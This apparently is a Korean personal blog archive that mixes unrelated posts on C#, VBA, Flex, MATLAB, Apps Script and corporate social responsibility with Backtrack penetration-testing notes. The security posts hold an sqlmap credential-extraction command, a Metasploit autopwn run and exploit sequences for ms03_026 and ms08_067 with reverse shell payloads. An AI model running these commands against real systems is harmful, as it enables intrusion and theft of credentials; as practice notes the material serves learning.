[bWAPP] HTML Injection - Reflected (URL)
A1 - Injection
HTML Injection - Reflected (URL)
현재 url을 표시해주는 간단한 서버사이드 스크립트이다.
~.php?a={스크립트구문}
을 넣어주면 실행 가능하다.
html 인젝션은 주소창 뒤에 ? 을 넣고 태그를 넣으면 된다.
?<h1>test</h1>
[backtrack] 무작위 공격 툴 medusa 사용법
[FACEBOOK] 앱 만들기2 - 담벼락에 글 쓰기, 글 가져오기, 생일 및 프로필 보기
(주) 드림투리얼리티 - 전자책 솔루션기업
업무내용 및 상세자격요건 |
㈜드림투리얼리티는 전자문서통합포맷(확장명, csd)의 국산보급으로 국내 소프트웨어발전 뿐만아니라 아도비사의 PDF에 대응하는 혁신의 소프트웨어이며, 이미 국내 금융권과 공공기관에서 인증한 우수기술입니다. 당사는 국내뿐만아니라 세계시장(일본,중국,미국등)에 제품공급이 진행중에 있으며, 유비쿼터스 환경하의 모바일(휴대폰, 전자사전, PSP, PMP, PDA등)에서도 전자문서 볼 수 있는 획기적인 기술입니다. ㈜드림투리얼리티와 미래를 함께 할 인재를 모십니다. http://www.d2r.co.kr , http://www.csdcenter.com ------------------------------ CSD 기술 적용 사이트 파란 더진 - http://zine.paran.com 한컴 유비튜브 - http://www.ubitube.com KT BooKT - http://www.bookt.co.kr ------------------------------ 모집부문 - 웹개발자 (내근직) 업무내용 - CSD 관련 웹서비스 개발 자격요건 - 웹사이트 구축에 대한 이해와 경험이 있으신 분 - HTML,JavaScript와 JSP,PHP,ASP등 하나 이상의 웹 프로그래밍 언어가 사용 가능하신 분 - 하나 이상의 데이터베이스에 대한 경험과 SQL 사용이 가능하신 분 - CSD를 사용해보신분 우대 |
제출서류 및 전형방법 |
제출서류 - 이력서, 자기소개서 각 1부 - 이력서에 긴급연락처, 희망연봉 기재 필수 상세요강 전형절차 - 1차 : 서류전형 - 2차 : 면접전형 - 3차 : 임원면접 및 연봉협상 - 면접은 서류전형 합격자에 한해 개별통보 근무조건 - 주 5일 근무 / 오전 10시 ~ 7시 자격 조건 - 2년제 대학 졸업자 이상 - 전산 전공자 - 해외 여행에 결격사유 없는 사람 회사 위치 경기도 성남시 분당구 구미동 153 로드랜드EZ타워 811호 (분당서 오리역 7번출구로 나와서 약 70미터 거리에 위치) |
[backtrack] sqlmap을 이용한 injection test 및 주요 정보 획득
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u ""http://~/?param=1¶m=2" -v 1 --current-user --password
를 입력해 error based 공격으로 id를 알아낸다.
파라미터를 어떤거에 대입할 건지 묻는 말이 나오는데, default는 앞에 있는 파라미터 이다.
id만 알아내도, 무작위 대입으로 외부에서 접근 가능한 db에 로그인 시도가 가능하다.
C#으로 xml 파싱하기
위와 같이 Windows 응용 프로그램으로 프로젝트를 생성한 뒤, 클래스뷰를 이용해 Form1.cs의 코드를 작성하면, 된다. 아래의 bold체는 차일드노드의 개수에 따라 전역변수 i를 증가시켜 파싱하여 label에 기록하는 부분이다.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Xml;
namespace xmlparser
{
public partial class Form1 : Form
{
int i = 0;
public Form1()
{
InitializeComponent();
string filePath = @"booklist.xml";
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.Load(filePath);
XmlElement eBooklist = xmlDocument.DocumentElement;
XmlElement eFirstBook = (XmlElement)eBooklist.FirstChild;
XmlNodeList nlchilds = eFirstBook.ChildNodes;
label3.Text = "루트 엘리먼트 정보";
label4.Text = eBooklist.Name;
}
private void button1_Click(object sender, EventArgs e)
{
string filePath = @"booklist.xml";
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.Load(filePath);
XmlElement eBooklist = xmlDocument.DocumentElement;
XmlElement eFirstBook = (XmlElement)eBooklist.FirstChild;
XmlNodeList nlchilds = eFirstBook.ChildNodes;
if (nlchilds.Count > i)
{
XmlElement eChild = (XmlElement)nlchilds[i];
label3.Text = eChild.Name + "(" + i + ")";
label4.Text = eChild.InnerText + "(" + nlchilds.Count + ")";
i++;
}
else
{
label3.Text = "자료의 수는" + nlchilds.Count + "개 입니다.";
label4.Text = "자료의 끝 입니다";
}
}
}
}
[PPT] 파워포인트 전체 페이지 넣는 VBA 스크립트
마스터 보기에서 삽입->머리글/바닥글
바닥글의 체크박스를 체크하고, 모두적용을 클릭함.
아래 그림과 같이, "바닥글"영역이 존재해야 error가 나지 않음.(for문의 시작을 2로 했기 때문에 첫 슬라이드는 바닥글이 존재하지 않아도 됨)^^V
1. Alt+F11(Visual Basic Editor)
2. 삽입 -> 모듈
3. 모듈창에 아래와 같이 입력
4. 실행(F5)하면 바닥글 위치에 표시됩니다.
Sub dhUserPage()
Dim i As Integer, j As Integer
With ActivePresentation
If .Slides.Count > 1 Then
For i = 2 To .Slides.Count
.Slides(i).HeadersFooters.Footer.Text = i & "/" & .Slides.Count
Next i
End If
End With
End Sub
[backtrack] autopwn 을 이용한 자동 공격
backtrack 4를 설치하거나, image를 받아서 실행시킨다.
backtrack4는 자동으로 네트워크 설정이 안 되기 때문에,
# /etc/init.d/networking start
자동으로 실행시키려면, .bash_profile에 등록 한다.
# vi /root/.bash_profile
/etc/init.d/networking start
이젠 autopwn을 사용할 차례다.
# msfconsole
msf > db_status
[*] postgresql selected, no connection
라고 나온다.
그러면, 사용할 수 있는 db를 알아보기 위해
msf > db_driver
[*] Active Driver: postgresql
[*] Available: postgresql, mysql, sqlite3
mysql과 postgresql로 test해 봤는데, 잘 안 되어서 sqlite3로 시도했다.
msf > db_driver sqlite3
[*] Using database driver sqlite3
msf > db_create client
[-]
[-] Warning: The db_create command is deprecated, use db_connect instead.
[-] The database and schema will be created automatically by
[-] db_connect. If db_connect fails to create the database, create
[-] it manually with your DBMS's administration tools.
[-]
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: client
msf > db_status
[*] sqlite3 connected to client
위의 과정으로 연결 상태를 확인한 후, 대상 ip를 아래와 같이 입력하여, 자동 공격을 시도해 본다.
msf > db_nmap -sS -sV -T 5 -P0 -O xxx.xxx.xxx.xxx
Starting Nmap 5.35DC1 ( http://nmap.org ) at 2012-06-07 10:35 EDT
Nmap scan report for xxx.xxx.xxx.xxx
Host is up (0.015s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
80/tcp open http Apache httpd 2.2.17 ((Unix) DAV/2 PHP/5.2.16)
111/tcp open rpcbind 2 (rpc #100000)
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
1723/tcp filtered pptp
2869/tcp filtered icslap
3306/tcp open mysql MySQL (unauthorized)
4444/tcp filtered krb524
Device type: general purpose
Running: Apple Mac OS X 10.5.X
OS details: Apple Mac OS X 10.5.5 (Leopard)
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.86 seconds
msf > db_autopwn -p -e -t
[*] Analysis completed in 9 seconds (0 vulns / 0 refs)
[*]
[*] ================================================================================
[*] Matching Exploit Modules
[*] ================================================================================
[*] xxx.xxx.xxx.xxx:111 exploit/netware/sunrpc/pkernel_callit (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/unix/webapp/oscommerce_filemanager (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/windows/lotus/domino_http_accept_language (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/windows/iis/ms02_018_htr (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/unix/webapp/base_qry_common (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/windows/http/trendmicro_officescan (port match)
음.... 성공하면, session 이 열렸다고 나오는데, 실패하면, 0 sesssions 라고 나온다.
http://www.youtube.com/watch?v=VXmE0QycUd8
나머지는 동영상을 참조 한다.
성공하면 아래와 같이 콘솔로 접근할 수 있다.
sessions -l
session -i 1
meterpreter > execute -f cmd.exe -H -i
c:WINDOWSsystem32>
[backtrack] msrpc 135 파일 및 프린터 공유 취약점
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > show payloads
msf exploit(ms03_026_dcom) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(ms03_026_dcom) > set LHOST [MY IP ADDRESS]
msf exploit(ms03_026_dcom) > set RHOST [TARGET IP]
msf exploit(ms03_026_dcom) > exploit
flex 페이지 이동
<![CDATA[
private function goUrl(URL:String):void {
var url:URLRequest = new URLRequest(URL);
var uv:URLVariables = new URLVariables();
url.method = "GET";
/**
* 파라메터 전달
* 파라메터명 uv.파라메터명 = "파라메터값"
*/
uv.board = "guest";
uv.no= "100";
url.data = uv;
navigateToURL(url);
}
]]>
</mx:Script>
<mx:Button x="169" y="274" label="Button" click="goUrl('http://google.com');"/>
이런 간단한 것도 정리해야 나중에 쓸데가 있다. ㅋ
flex 외부 변수 이용, 받기, 현재 url
나는 제목과 같은 검색어로 꾸준히 찾았던 것 같다.
역시 방법은 있었다.
우....
친절하게 소스파일까지...ㅋㅋ
[python] 파일에서 문자열 찾기 소스
[backtrack] netbios 바인딩 microsoft-ds 445 취약점
msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 10.211.55.140 RHOST => 10.211.55.140 msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > set LHOST 10.211.55.162
msf exploit(ms08_067_netapi) > exploit
위와 같이 하면, 바로 쉘에 접근되고, 관련 동영상은 아래 주소에 있다.
json encoding, decoding
그런데, 무작정 갖다 쓰는게 부담이 된다.. 또한 홍길동이 벌써 서른이라니.....
<?xml version="1.0" encoding="utf-8"?>
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute" initialize="initApp()">
<mx:Script>
<![CDATA[
import com.adobe.serialization.json.JSON;
import mx.controls.Alert;
private function initApp():void{
var obj:Object = new Object();
obj.name="홍길동";
obj.age=30;
var json:String = JSON.encode(obj);
trace(json);
var obj2:Object = JSON.decode(json);
mx.controls.Alert.show(json + obj2.name + "," + obj2.age);
}
]]>
</mx:Script>
</mx:Application>
파일1은 flex관련 문서이고, file2는 flex용 json라이브러리이다.
Hamming Window Amplitude Response
% Chapter 7: Hamming Window Amplitude Response
%
M = 45; alpha = (M-1)/2;
n = -alpha:alpha;
w = (hamming(M))'; sumw = sum(w);
N = 1000; omega = (2*pi/N)*[-N/2:N/2];
Wr = real(w*(exp(-j*n'*omega)));
db = 20*log10(abs(Wr)/max(Wr));
IntWr = cumsum(Wr);
Intdb = 20*log10(abs(IntWr)/N);
k = (N/2+1) - min(find(Intdb > -53));
tr_width = 2*k*2*M/N, %actual transition width in pi/M units
omega1 = -(tr_width/2)/M; omega2 = (tr_width/2)/M;
%
% plots
subplot(1,1,1)
subplot(2,2,1); stem(n,w);
axis([-(alpha+8),(alpha+8),-0.1,1.1]);
set(gca,'YTickMode','manual','YTick',[0,1])
set(gca,'XTickMode','manual','XTick',[-22,0,22]);
title('Hamming Window : M=45')
xlabel('n'); ylabel('w(n)')
subplot(2,2,3); plot(omega/pi,Wr);
axis([-1,1,-2,sumw+5]);
set(gca,'YTickMode','manual','YTick',[0,sumw])
set(gca,'XTickMode','manual','XTick',[-1,0,1]); grid
set(gca,'XTickLabelMode','manual','XTickLabels',[' 0';'22';'45']);
title('Amplitude Response')
xlabel('frequency in pi units'); ylabel('Wr')
subplot(2,2,2); plot(omega/pi,db);
axis([-1,1,-60,10]);
set(gca,'YTickMode','manual','YTick',[-60,-42,0])
set(gca,'YTickLabelMode','manual','YTickLabels',['60';'43';' 0'])
set(gca,'XTickMode','manual','XTick',[-1,0,1]);grid
title('Amplitude Response in dB')
xlabel('frequency in pi units'); ylabel('Decibels')
subplot(2,2,4); plot(omega/pi,Intdb);
axis([-1,1,-70,10]);
set(gca,'YTickMode','manual','YTick',[-70,-54,0])
set(gca,'YTickLabelMode','manual','YTickLabels',['70';'54';' 0'])
set(gca,'XTickMode','manual','XTick',[-1;omega1;omega2;1]);grid
set(gca,'XTickLabelMode','manual','XTickLabels',['-1';' ';' ';' 1'])
title('Accumulated Amplitude Response')
xlabel('frequency in pi units'); ylabel('Decibels')
text(omega2,5,'Width=(6.6)*pi/M')
C#으로 네이버맵API에서 X,Y좌표 추출하기
string filePath = @"geocode.xml";
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.Load(filePath);
XmlElement xyinfo = xmlDocument.DocumentElement;
XmlElement iteminfo = (XmlElement)xyinfo.ChildNodes[2];
XmlElement pointinfo = (XmlElement)iteminfo.ChildNodes[0];
XmlElement pointinfox = (XmlElement)pointinfo.ChildNodes[0];
XmlElement pointinfoy = (XmlElement)pointinfo.ChildNodes[1];
label2.Text = pointinfox.InnerText;
label4.Text = pointinfoy.InnerText;
string filePath2 = @"geocode2.xml";
XmlDocument xmlDocument2 = new XmlDocument();
xmlDocument2.Load(filePath2);
XmlElement xyinfo2 = xmlDocument2.DocumentElement;
XmlElement iteminfo2 = (XmlElement)xyinfo2.ChildNodes[2];
XmlElement pointinfo2 = (XmlElement)iteminfo2.ChildNodes[0];
XmlElement pointinfox2 = (XmlElement)pointinfo2.ChildNodes[0];
XmlElement pointinfoy2 = (XmlElement)pointinfo2.ChildNodes[1];
label5.Text = pointinfox2.InnerText;
label6.Text = pointinfoy2.InnerText;
첫번째 아이템의 좌표 추출이다. 다음 아이템의 것을 추출하려면, xyinfo2.ChildNodes에서 3, 4로 이동하면서 찾으면 된다.
[GS] apps script 를 이용한 구글 드라이브로 파일 업로드
PHP 를 이용한 파일 업로드는 서버에 저장된 파일을 스크립트를 이용해 리스트와 파일로 저장하는 방식이었다.
이제는 apps script를 이용해 직접 구글 드라이브로 업로드하여 중간 절차와 서버 사용 부담을 줄였다.
[원본글]
https://ctrlq.org/code/19747-google-forms-upload-files
[file.gs]
/* The script is deployed as a web app and renders the form */
function doGet(e) {
return HtmlService
.createHtmlOutputFromFile('form.html')
.setTitle("파일 업로드");
}
function uploadFileToGoogleDrive(data, file, name, kind, row) {
try {
var tD = Utilities.formatDate(new Date(), "GMT+9", "yyyyMMdd");
var folder, folders = DriveApp.getFoldersByName(tD);
var imageFolder = DriveApp.getFolderById("폴더");
/* Find the folder, create if the folder does not exist */
if (folders.hasNext()) {
folder = folders.next();
} else {
folder = imageFolder.createFolder(tD);
}
var contentType = data.substring(5,data.indexOf(';')),
bytes = Utilities.base64Decode(data.substr(data.indexOf('base64,')+7)),
blob = Utilities.newBlob(bytes, contentType, file);
var file = folder.createFolder(tD).createFile(blob);
return "OK";
} catch (f) {
return f.toString();
}
}
[form.html]
<!-- File upload button -->
<input id="file" type="file">
<!-- Form submit button -->
<button id="sb" onclick="submitForm();return false;">전송</button>
<!-- Show Progress -->
<div id="progress"></div>
<!-- Add the jQuery library -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>
<script>
var file,
reader = new FileReader();
// Upload the file to Google Drive
reader.onloadend = function(e) {
google.script.run
.withSuccessHandler(showMessage)
.uploadFileToGoogleDrive(
e.target.result, file.name,
$('select#company option:selected').text(),
$('select#kind').val(),
$('select#company').val()
);
};
// Read the file on form submit
function submitForm() {
file = $('#file')[0].files[0];
if(!file){
alert('파일선택');
}else{
file = $('#file')[0].files[0];
showMessage("Uploading file..");
reader.readAsDataURL(file);
}
}
function showMessage(e) {
$('#progress').html(e);
$('#sb').prop("disabled",true);
}
</script>
[GS] 구글 스프레드시트에서 ROW 값 얻기
그동안은 데이터베이스처럼 쓰는 구글 스프레드시트의 업데이트나 행번호 찾기를 위해 =ROW() 를 일일이 넣어줬다.
더 관리하기 편할 수도 있는데, 자동화된 스크립트로 반영해 줘야하는 것이 큰 이슈였다.
MATCH 함수를 이용해 찾고자 하는 행의 번호를 출력하도록 사용했는데, 추후 활용이 될지는 모르겠다.
=IF(IFERROR(MATCH(B2,'시트'!A1:A,0)),MATCH(B2,'시트'!A1:A,0),0)
'시트'라는 시트에 A열에 찾고자 하는 키워드(고유값)가 B2에 있다면, 행번호를 반환하는 수식이다.
이수식은 QUERY를 사용하여 질의하는 환경에서 사용가능하고, 기존 데이터를 출력하는 부분에서는 =ROW() 수식으로 유지하는 것이 더 낫다.
특정 행을 찾아서 지우거나 업데이트, 추가된 값을 넣고자 할 때, 질의되는 키워드를 B2에 넣어 행번호를 찾는 수식이 적용된 셀의 내용을 반환받아 처리할 수 있다. 게시판처럼 활용되거나 고유값을 사용하는(해시로 만들어 넘버링하거나 절대번호가 있는) 환경에서 행 위치에 적용 가능하다.
구글 스프레드시트에서 조건을 찾은 뒤, 특정 컬럼값만 출력하는 것은 이중 query로 처리했다. 조건에 의해 모든 행 레코드를 반환하는데, 컬럼의 이름을 출력하도록 한뒤 transpos 하면 조건이 1컬럼에 위치한 구조가 된다. 1컬럼에 해당하는 where 문을 query로 만들면 해당 행을 찾게되고, 최상위 행에는 최초 query의 조건이 위치되어 다시 transpos 하게 되면 원하는 컬럼만 추출되는 형태이다.
기존 관계형 데이터 베이스에서는 query 를 사용하 각 배열에서 원하는 값만 배열 이름이나 순서로 일일이 출력했는데, GS에서는 이중 쿼리로 일괄 출력이 가능하다. 만일 기존 언어로 처리한다면, 다시 db에 넣고 조건문으로 찾은뒤, 첫번째 조건을 재출력하여 순차적으로 보여주는 방법이 있다.
그런데 그런 방법은 GS에서 LIKE로 찾은 조건에 해당하는 1행이나 별도 변수에 넣고 사용해야하는 복잡함이 있어 동일하게 활용하기는 번거롭다. 정리하면서 GS 만의 특징으로 가능한 출력법에 대해 인지했다.
출력되는 내용이 비교해야하는 상황이라면 복잡한 배열 파싱의 연산을 위한 코드를 작성하지 않고, 간단하게 비교 구문을 추가해 줄 수 있다.
GS 가 해야할 일, 파이선이 해야 할일을 잘 분배하려면 많은 시행착오를 통해 각각의 장점을 파악하는 것이 필요하다.
[1차조건 - 항목](데이터는 지웠다.)
[TRANSPOS]
[2차 조건 - 2월]
[TRANSPOS]
2월 조건에 12월도 걸려 버렸지만, 이를 잘 예외처리하면 16년 2월과 17년 2월의 비교를 아주 간단히 처리할 수 있다.
국제적 기업들의 CSR 사례
전략적 사회공헌 활동의 사례
방법/사례
1) NGO와 파트너쉽
맥도날드 & EDF : 포장재 쓰레기 등 공동해결
2) 공익연계마케팅
AMEX : 자유의 여신상 보수자금 지원
3) 지역사회공헌
월마트의 토착화된 지역사회공헌
4) 자원봉사
GE 엘펀(Elfun)
5) 재단
MSN : 빌 & 멜린다 게이츠재단
6) 직접캠페인
유한킴벌리의 ‘우리강산 푸르게 푸르게’
① NGO와의 파트너쉽
맥 도널드는 기존의 환경공해 기업이라는 이미지를 털어 낼 전략의 일환으로서 환경단체 EDF(Environmental Defense)와 파트너쉽을 통하여 포장재와 쓰레기 문제 해결을 위한 공동 사업을 실시함으로 패스트푸드 업체의 약점을 극복하고 오히려 소비자들로부터 긍정적인 평가를 이끌어 내었다. EDF는 대표적 환경공해 기업의 변화과정을 통한 샘플링 효과를 기대하였으며 선도기업인 맥도널드의 환경친화적인 이미지 변화로 인하여 후발기업들에게 파급효과를 기대할 수 있었고 맥도널드 또한 맥도널드가 부담해야할 환경투자 비용도 절감할 수 있었다.
② 공익연계마케팅
‘아 메리칸 익스프레스’는 1983년에 새로운 아멕스 카드가 만들어질 때마다 1달러를, 그리고 1983년 사사분기동안에 Amex 카드가 한번 사용될 때마다 1센트를 ‘자유여신상의 유지와 복구’에 기부하는 연계 프로그램을 마련하였고, 이것이 대대적인 성공을 거두게 되었다. 이 프로그램으로 Amex는 자유여신상의 유지와 복구에 170만 달러를 기부했고, 캠페인 기간 동안에 카드 사용이 28%나 증가한 것으로 나타났다. 이 성공사례가 다른 기업들을 자극하기 시작하면서 ‘공익연계마케팅’(CRM:Cause-Related Marketing)이라는 프로그램이 공식적으로 등장하게 되었다.
③ 지역사회공헌
세 계 최대 유통기업인 월마트는 2003년에 세계 4,906개 매장에서 2,563억달러(약 318조원)의 매출을 올린 세계적으로 가장 존경받는 기업 중에 하나로 2003년과 2004년 2년 연속 미국 경제잡지<Fortune>이 선정하는 가장 존경받는 기업 1위에 선정되었으며 2003년 한해에 사용한 사회공헌 기금도 약 1억 5천만 달러, 회사 전체 이익에 1.3% 에 이른다고 한다. 이런 월마트의 사회공헌 활동은 철저히 지역사회에 초점을 맞추고 있다는 점에서 다른 기업들과 크게 다르다. 대외적으로 생색이 많이 나는 대규모 지원보다는 지역사회에 가장 직접적인 도움을 줄 사업에 참여하여 월마트의 매장들이‘지역사회공헌 활동의 기지’의 역할을 하도록 하고 있다. 돈을 지원한 뒤에는 간섭하지 않고 지원단체 선정 등도 각 지역 매장 직원들에게 맡기는 것도 월마트식 사회공헌의 특징으로 각 매장마다 지역사회 참여 간사를 선정하고 10 여명의 위원회를 구성해 결정을 내린다. 월마트는 이런 방식으로 전 세계에서 문맹퇴치, 어린이병원, 미아찾기, 여성 건강 캠페인, 빈곤층 식사 보조, 노년층 자립 지원 등 다양한 ‘토착형 사회공헌 활동’을 하고 있으며 옛 동독 지역에서는 낙후된 어린이 놀이터 개선작업에 투자를 한바 있고, 한국에서는 나무심기 등 환경관련 분야와 재난구호 활동에 참여하였다.
④ 자원봉사
2005 년 Fortune 이 선정한 세계에서 가장 존경받는 기업 GE는 사회공헌 활동을 ‘GE재단’과 ‘GE 엘펀(Elfun)’ 두 개의 축으로 구분, 운영하고 있다. GE재단은 교육, 문화, 환경, 사회단체 등에 대규모 금전적 지원을 하며 투입되는 금액은 연간 10억 달러에 이르며 1989년부터 엘펀과 연계해 저소득층 지역에서 선정된 특정학교의 대학진학률을 두 배 이상 증가시키는 대학진학프로그램(College Bound Program)을 지원하고 있다. GE 엘펀은 GE 임직원·퇴직자들로 구성된 전세계적 자원봉사단체로서 140여개 지부와 5만명 이상이 회원으로 가입되어 있으며, 장애인·소년소녀 가장·노인 등 소외계층에 대한 봉사활동과 자연보호·헌혈·문맹교육·마약퇴치·적십자 활동 등을 수행하고 있다. 또한 직원들은 자원봉사 활동에 연간 100만 시간 이상을 할애하고 있으며, 자원봉사 모범상인 필립상을 통해 직원들의 봉사활동을 격려하고 있다.
⑤ 재단
빌 게이츠 마이크로소프트(MS) 회장은 회사의 사회공헌 활동과는 별도로, 기부를 통한 사회책임에 적극 나서고 있다. 이를 위해 그가 만든 것이 자신과 부인의 이름을 딴 ‘빌&멜린다 게이츠 재단’이다. 이 재단의 목표는 세계 보건격차의 해소로 선진국 수준의 보건 혜택을 세계 어디서나 당연히 누리게 하자는 것이다. 특별히 ‘빌 & 멜린다 게이츠 재단은 그동안 비용 문제로 엄두를 내지 못했던 백신들을 연구개발하고, 후진국들의 보건환경 개선을 위하여 지원하고 있다. 국제에이즈백신이니셔티브는 5~6가지에 이르는 복합치료제를 개발하고 있고, 말라리아백신이니셔티브는 별도로 8가지 백신 개발 프로젝트를 진행하고 있다. 그는 또 기금을 지원받으려면 보건 분야 예산을 늘려야 한다는 조건을 달아 각국이 보건환경 개선을 위한 노력을 하도록 만들고 있다.
⑥ 직접캠페인
1984 년 8월부터‘우리강산 푸르게 푸르게’라는 슬로건을 가지고 캠페인을 벌여온 유한킴벌리는 나무를 심고 자연을 사랑하는 우리나라의 대표적인 환경친화 기업으로 알려져 있다. 이 회사는 주로 나무를 이용해 제품을 만들어야 하는 특성상 환경단체나 소비자단체에게 환경을 파괴하는 기업으로 가장 먼저 성토의 대상이 될 수도 있을 것이다. 그러나 유한킴벌리는 오히려 1999년 한 웹사이트에서 실시한 환경친화적 기업 설문조사에서 1 위를 차지하였다. 시범림 조성사업으로 캠페인을 시작한 첫 해부터 산림조합중앙회에 기금을 기탁해 오고 있고 지금까지 450만평에 500만 그루의 나무를 심었다. 또한 청소년들에게 자연환경의 소중함을 느낄 수 있도록 1988년부터 여름방학에는 그린캠프를, 새롭게 가정을 꾸민 신혼부부들이 직접 나무를 심고 자연을 접할 기회를 제공하기 위해 나무심기 체험 프로그램을 식목일 전후로 하여 실시하고 있다. 유한 킴벌리의 기업 광고 노출량은 대기업의 그것에 비해 년 간 10분의 1 수준이지만 구체적인 실천 프로그램들이 연계되어 있기에 기업의 신뢰를 높이는데 훨씬 효과적이다.